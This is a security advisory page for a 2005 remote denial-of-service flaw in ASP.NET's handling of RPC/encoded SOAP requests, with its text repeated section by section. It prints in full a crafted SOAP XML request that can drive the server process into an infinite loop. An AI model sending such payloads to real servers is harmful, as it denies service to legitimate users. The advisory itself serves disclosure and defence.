Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
BID:14217
Info
Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
| Bugtraq ID: | 14217 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 12 2005 12:00AM |
| Updated: | Jul 12 2005 12:00AM |
| Credit: | Bryan Sullivan <[email protected]> is credited with the discovery of this vulnerability, and Sacha Faust <[email protected]> is credited for further research. |
| Vulnerable: |
Microsoft ASP.NET 1.1 SP1 Microsoft ASP.NET 1.1 Microsoft ASP.NET 1.0 SP2 Microsoft ASP.NET 1.0 SP1 Microsoft ASP.NET 1.0 Microsoft ASP.NET 0 |
| Not Vulnerable: | |
Discussion
Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
ASP.NET is susceptible to a remote denial of service vulnerability. This issue is due to the possibility of causing an infinite loop on the server when handling RPC/encoded requests.
This issue presents itself when an RPC/encoded Web method accepts an array or object derived from 'IList'. By sending a specially crafted XML request, the 'aspnet_wp.exe' executable enters into an infinite loop.
Remote attackers may exploit this vulnerability to consume excessive CPU resources, potentially denying service to legitimate users.
ASP.NET is susceptible to a remote denial of service vulnerability. This issue is due to the possibility of causing an infinite loop on the server when handling RPC/encoded requests.
This issue presents itself when an RPC/encoded Web method accepts an array or object derived from 'IList'. By sending a specially crafted XML request, the 'aspnet_wp.exe' executable enters into an infinite loop.
Remote attackers may exploit this vulnerability to consume excessive CPU resources, potentially denying service to legitimate users.
Exploit / POC
Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
An exploit is not required. The following XML request is an example of a request that may trigger this vulnerability:
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://tempuri.org/"
xmlns:types="http://tempuri.org/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<tns:Test>
<someList href="#id1" />
</tns:Test>
<tns:ArrayOfInt>
<Item>0</Item>
</tns:ArrayOfint>
</soap:Body>
</soap:Envelope>
An exploit is not required. The following XML request is an example of a request that may trigger this vulnerability:
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://tempuri.org/"
xmlns:types="http://tempuri.org/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<tns:Test>
<someList href="#id1" />
</tns:Test>
<tns:ArrayOfInt>
<Item>0</Item>
</tns:ArrayOfint>
</soap:Body>
</soap:Envelope>
Solution / Fix
Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability
References:
References:
- .Net Home (Microsoft)
- ASP.NET RCP/Encoded Web service DOS (SPI Dynamics)